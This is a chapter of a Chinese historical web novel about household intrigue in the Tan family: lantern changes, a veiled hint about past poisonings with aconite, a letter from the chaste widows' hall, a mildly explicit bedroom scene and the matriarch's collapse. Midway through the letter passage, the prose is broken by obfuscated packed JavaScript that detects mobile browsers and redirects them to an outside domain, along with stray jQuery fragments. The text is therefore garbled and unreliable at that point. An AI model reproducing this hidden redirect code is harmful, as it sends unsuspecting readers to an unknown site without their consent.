“夏天呀，就要挂荷花灯。”


    在江玉娥回府的第三日，赵明煙便张罗起了更换谭府花灯的事。


    她让明月斋的灯匠来到府中，将已然蒙尘的花灯取下，换上崭新的花鸟灯，还不忘对身旁的范文澜介绍道：“祖母，花灯不只是逢年过节才换新，一年四季也可换，因为花灯本身就分宫灯、纱灯、吊灯，花鸟鱼虫、人物山水，以及走马灯等等，不同类别用于不同时节。”


    “像我们家，冬季会挂颜色鲜艳、造型繁复的宫灯，春季则挂人物山水灯，夏季要应景，挂荷花灯、鱼灯，或纱灯。”


    “四季换灯的习惯，是从我曾祖父开始养成的，说是从京城学来的，京城的达官贵族便是如此，府里的花灯不仅是一种摆设，更是彰显气派的装饰。”


    “祖母，你瞧……”


    说话间，她挽住了范文澜的胳膊，歪着头靠向她的肩膀，指着周围的亭台水榭，笑着说：“咱们谭府奢华又不失雅致，再配上应景的花灯，可谓锦上添花。”


    “是是是！”


    范文澜慈笑着拍了拍她的手，“往后府里的灯笼，全由你来安排。”


    赵明煙含笑垂首，陪着她漫步庭院，看灯匠换灯。


    途经西院时，她故作随意地开口道：“我还准备了一些花灯让方嬷嬷送去西院，倘若西院的下人需要灯匠帮忙换灯，给我说一声便是，我来安排。”


    范文澜的眸光动了动，没有接话。


    赵明煙用余光飞快地瞄了她一眼，继续说道：“想必庶祖母这些年已然习惯了清净，我就不去叨扰她了，除了花灯，我还准备了一些零嘴儿和锦缎，也让方嬷嬷代为转交了。”


    “烟儿你有心了。”范文澜解颐。


    呼……


    瞥见她终于露出了发自肺腑的满意笑容，赵明煙在心里吁了一口气。


    祖母前几日对我生出的嫌隙应该消除了吧？


    月信的影响一过去，赵明煙便对那日的莽撞行为感到后怕。


    正如母亲所说，她还不是谭家的当家主母，只是一个尚未孕育出子嗣的孙媳，信任来得不易，但不满却轻而易举。


    比起谭林霜这个夫君，堪比婆婆的范文澜更需她谨慎对待。


    “媳妇想要熬成婆，可真不容易啊！”她再次感叹。


    回到屋里，她往床上一瘫，就彻底不想动弹。


    “小姐，你都好些日子没去贞节堂了。”


    小烛端着洗好的水果走来，随口说了一句。


    赵明煙还没把庄大娘和谭墨香联手利用自己的事告诉小烛，所以她尚不清楚其间的纠葛。


    踢掉脚上的鞋子，赵明煙干脆脱衣躺下，准备睡个午觉。


    “织房已运作顺当，无需我时时去盯着，待到下次交货时，我再去。”


    她蒙上了被子，依旧没打算把这些烦心事告诉她，说了也只是徒乱人意。


    况且，她还是不愿去相信，庄大娘真的利用了她。


    也许谭墨香一直在利用她，可庄大娘…算了！


    她掀开被子，露出了脑袋，冲小烛端在手里的水果努了努嘴，“喂我一颗杏。”


    小烛笑眯眯在床边坐下，挑出一颗果肉最大的杏喂到她嘴边。


    前几日赵明煙因来月信，整个人都很萎靡，胃口也不好，每顿才吃两碗饭，可把她给急坏了，以前从未遇过这种事。


    往常再不舒服，吃不会少，顶多不想动。


    现下，看着自家小姐似乎恢复了食欲，她由衷开心。


    “皆说‘梅子金黄杏子肥’，小姐你别光顾着吃杏，梅子也尝一尝吧。”


    她挑出一颗梅子，喂到赵明煙嘴边。


    赵明煙用力嗅了嗅，“酸吗？”


    小烛摇头，“我全帮你尝过了，都不酸。”


    赵明煙这才放心咬了一口，“唔…确实不酸。”


    何以解忧，唯有美食。


    一连吃了好几颗杏和梅，赵明煙心头的烦绪总算消散，一边张嘴接过小烛递来的水果，一边与她摆龙门阵。


    “西院那边是何情况？”


    聊府中闲事，是小烛的最爱，她旋即坐直，又回眸看了一眼房门，确认是关严的，这才压低声音说道：“听阿桃说，除了庶老夫人，还有一名仆妇也从别庄回来了，对方是贴身伺候她的，也是她唯一的侍从，烧火煮饭什么粗活都干，据说别庄除了几个上岁数的家丁，便没有其他丫鬟或仆妇了。”


    “可见庶老夫人在别庄的日子有多难熬。”


    赵明煙却不这么认为，“至少自由。”


    “可回来后，老夫人并未软禁她呀，是她自己不愿出门的。”小烛说道。


    赵明煙笑得别有深意，“倘若举步维艰，还不如待在原地。”


    江玉娥不愿出门，范文澜便前去看望，每每都带上各种吃的用的，尽显主母姿态。


    “再怎么说，老夫人与庶老夫人都是表姐妹，一家亲。”


    下人们对范文澜一致好评，邱嬷嬷则添油加醋，故意在谭墨香跟前阴阳怪气。


    “不管旁人怎么挑拨，这血浓于水是化不开的。”


    谭墨香但笑不语。


    她回到寝卧，从箱笼下翻出一件被手帕包裹之物，摊开帕角后，一个长得像老姜的东西便呈现于眼前。


    随后，她找到邱嬷嬷，将这物交给了她，“我虽与二姨娘没有血缘关系，但身为晚辈，我不便前去探望，只能奉上一份微薄之礼，还望嬷嬷你代为转交。”


    “这是何物？”


    邱嬷嬷摊开手帕，埋首嗅了嗅，“药？”


    谭墨香莞尔解释：“这是川乌，能祛风除湿、驱寒止痛，别庄湿潮，想必二姨娘身体再好，也很难不被风邪浸体。”


    “哦。”


    邱嬷嬷了然，心觉，谭墨香确实心思细腻，这些日子以来，送去西院的物什不少，但左不过吃穿用，却不见补汤药膳。


    尽管江玉娥看起来身体还行，可正如谭墨香所说，在别庄那种紧挨墓地的居所一住就是十载之久，怎会无病无痛？


    “大小姐你有心了。”邱嬷嬷诚心说道。


    谭墨香没说什么，待她把东西收好后，脸色一变，郑重提醒：“邱嬷嬷，是药三分毒，川乌同样如此，倘若服用过量，搞不好会中毒。”


    “中毒？”


    邱嬷嬷手一抖，顿觉刚放入袖中的川乌烫皮肤。


    谭墨香见她面露惧色，随即笑笑，“别说川乌了，便是其他药材，服用过量也会中毒。”


    “哦哦。”邱嬷嬷点点头。


    谭墨香走到她身旁，逐字逐句地叮嘱道：“劳烦你转告二姨娘，切记不能服用过量，否则便会出现恶心、呕吐、腹痛、腹泻、呼吸困难等症状。”


    “看似很像感染了瘟疫。”


    最后一句，她说得很轻很慢，但每个字都非常清晰。


    翌日，邱嬷嬷便将手帕包好的川乌送到了江玉娥的手里，同时把谭墨香的叮咛全部转告。


    她只管按吩咐行事，光是记下那一长串症状便已不易，根本没多余的心思去注意江玉娥的表情变化。


    待她离去，江玉娥捧着川乌的一双手止不住颤抖，眼泪更是哗啦啦流下，看得一旁的仆妇肖嬷嬷变貌失色。


    “夫人，你怎么了？”


    她赶紧搀扶住她，又朝周围看了看，“走，先回屋，别被旁人看见你这模样。”


    西院除了她，几乎全是范文澜的眼线。


    “夫人，你困了？那我扶你回房歇息吧。”


    她强装淡定地搂着江玉娥，巧妙地遮住她的脸庞，一路走得很，但又走得小心。


    好在江玉娥的异常表现没有被下人察觉，等到房门一被关上，她就抠出被其攥在手心的川乌，拿在鼻前嗅了嗅。


    “这川乌有何问题？”她疑惑不解地看着泪流不停的江玉娥，没闻出有何异味儿。


    江玉娥吸了吸鼻子，似是用尽了全身力气，才发出嘶哑的声音：“川乌没问题，人有问题。”


    “啊？大小姐有问题？”肖嬷嬷愕然。


    江玉娥摇头，她伸手让肖嬷嬷扶自己去床边坐下，又顺了顺堵得发慌的胸口，眼泪不再流淌，一双眸子却模糊不清，像是被蒙上了一层雾霾。


    “我糊涂呀……”


    过了许久，她喑哑开口，声音里透着无尽的悲伤、懊悔，还有恨意。


    肖嬷嬷没有催促，给她倒来一盏温茶，又坐下来帮她顺背。


    温热的茶水入口，滋润了江玉娥干哑的喉咙，也唤醒了她沉睡已久的记忆。


    “君儿和玉儿病逝前，都出现过恶心、呕吐、腹痛、腹泻等症状，最后皆是喘不上气，活活憋死的。”


    肖嬷嬷一怔，骤然回想起邱嬷嬷方才叮嘱的那些话，茅塞顿开的同时，一股寒意倏地顺着脊梁冒出，很快蔓延至四肢百骸……


    “少奶奶，这是门房递来的一封信。”


    傍晚时分，阿筠将一封书信转交给了赵明煙。


    “谁给你写的信？”一旁的谭林霜好奇探头。


    赵明煙睨了他一眼，将信揣进袖中后，回到寝卧才拿出来拆开一看，是庄大娘写的。


    虽然信是她提笔写的，但内容却代表着所有节妇，还附上了一片锦缎，是他们才织出来的。


    大致内容，是问她最近为何没有去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976448|172933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贞节堂，担心她是不是生病了，还是遇到了什么麻烦事，同时还把大家的近况都简单交代了一遍。


    [我们穿上五颜六色的夏衣了，虽说只能孤芳自赏，但看着镜中容颜复还的自己，顿觉悦目赏心。]


    [我们还托顾堂主帮我们买来不少新家什，将贞节堂焕然一新，你说的没错，我们是节妇，不是出家人，大鱼大肉要吃，好物什要用，反正都是自己赚的银子。]


    [我儿媳又怀孕了，家中即将再添丁，我托顾堂主带了一两银子回去，给儿媳买些吃的用的，顾堂主回来跟我讲，我儿媳看到才一两银子，当场就垮了脸。]


    [白眼狼是喂不熟的，我不想再当他们的摇钱树了，我还能活好些年呢，我得好好照顾自己。]


    看完信，赵明煙又欣慰，又酸涩，不禁五味杂陈。


    “庄大娘可有真心视我如金兰？”


    由于心情复杂，她今晚只吃了一碗饭，连范文澜都看出了端倪。


    “烟儿，可是又积食了？要不要请个大夫来给你瞧瞧？”


    不会是怀上了吧？


    她暗自思忖。


    谭林霜忙接话：“她要空出肚皮吃宵夜呢！”


    “最近好些果子都熟了，她的嘴就没闲过。”


    “果子大多性凉，不宜多吃。”影响怀孕。


    范文澜有些失望，不忘提点了一句。


    夜深人静，谭林霜故意留下一盏烛火，掀开被子搂住了赵明煙。


    “唔…娘子似乎清减少许。”


    他拍了拍赵明煙的肚子，又在她的雪峰上轻捏了一把。


    赵明煙毫无反应，闭着眼没搭理他。


    你进我退，你退我进。


    瞅着她睡佛似的容颜，谭林霜的心又痒了，念念不忘那晚半途而止的“鹤交势”，遂伸手探进被子，好一阵拨云撩雨。


    “娘子，你癸水已走，掐指一算，今夜正宜受孕。”


    闻言，赵明煙腾地睁眼，而后伸出一只手，数着指头算了算。


    谭林霜险些失笑，忍不住怀疑，自己的作用只是为了帮她日月入怀。


    “来吧。”


    赵明煙掀开被子，朝谭林霜勾了勾手指。


    “遵命。”


    谭林霜忙不迭宽衣解带，埋首一亲芳泽。


    红罗帐随摆动的床榻来回摇曳，二人纠缠的身影被微弱的火光映照在内壁，好似鸳鸯交颈舞，难分难舍，缠绵悱恻。


    待二人同时进入妙境，花心尽收雨露后，谭林霜才翻身搂过情欲未退的赵明煙，附耳问道：“娘子有心事？”


    赵明煙愣了一下，迟疑点头，“信是庄大娘写的，问我为何最近没去贞节堂。”


    “去吧，有什么心结当面解开。”谭林霜鼓励道。


    “同时表明自己的立场。”他又郑重补充了一句。


    “立场？”


    赵明煙还未彻底从先前的激情中缓过神来，仍觉置身云端。


    谭林霜用手背轻抚着她的面庞，耐心说道：“最初，他们以为你的立场是代表我祖母，代表我们谭家，后来你对他们坦诚以待，他们放下芥蒂，与你一道将织房重新运作起来，可那会儿，你又是什么立场？”


    “他们的姐妹？我姑母的侄媳？或是我姑母的心腹？我姑母的刀？”


    说到最后一句，谭林霜加重了口气。


    “你应下这份差事，自然不是为了广结善缘，而是向我祖母证明你的能力，从而进入商行。”


    “现下，你已达成目的，在他们面前，又是何种立场？你可有仔细想过？”


    “先看清自己，再理清与旁人的关系。”


    赵明煙眨了眨眼，还是有些云里雾里。


    谭林霜见状，在她脸上亲了一下，就为二人盖好了被子，“睡吧，睡饱醒来，再多吃两碗饭，兴许能恍悟。”


    听君一席话胜读十年书，赵明煙在次日早膳时，吃完三碗饭后，彻底豁然。


    她觉得谭林霜说的没错，也许庄大娘的本意不是在利用自己，而是自己表现出来的立场让对方误以为是谭墨香手里的刀。


    于是，她让李四备马，准备去贞节堂跟庄大娘坦诚心扉。


    她不是谭墨香的刀，但不影响她与他们成为金兰之交。


    “哎呀！出事啦……”


    她刚带着小烛坐上马车，就听身后响起一阵骚动。


    小烛连忙推开窗户，恰见谭墨竹骑马奔出大门，在他们眼前绝尘而去。


    “出了何事？二爷这是要去哪里？”她急忙问追出来的下人。


    下人说：“二爷去找大夫了，老夫人她…突然晕倒，不省人事！”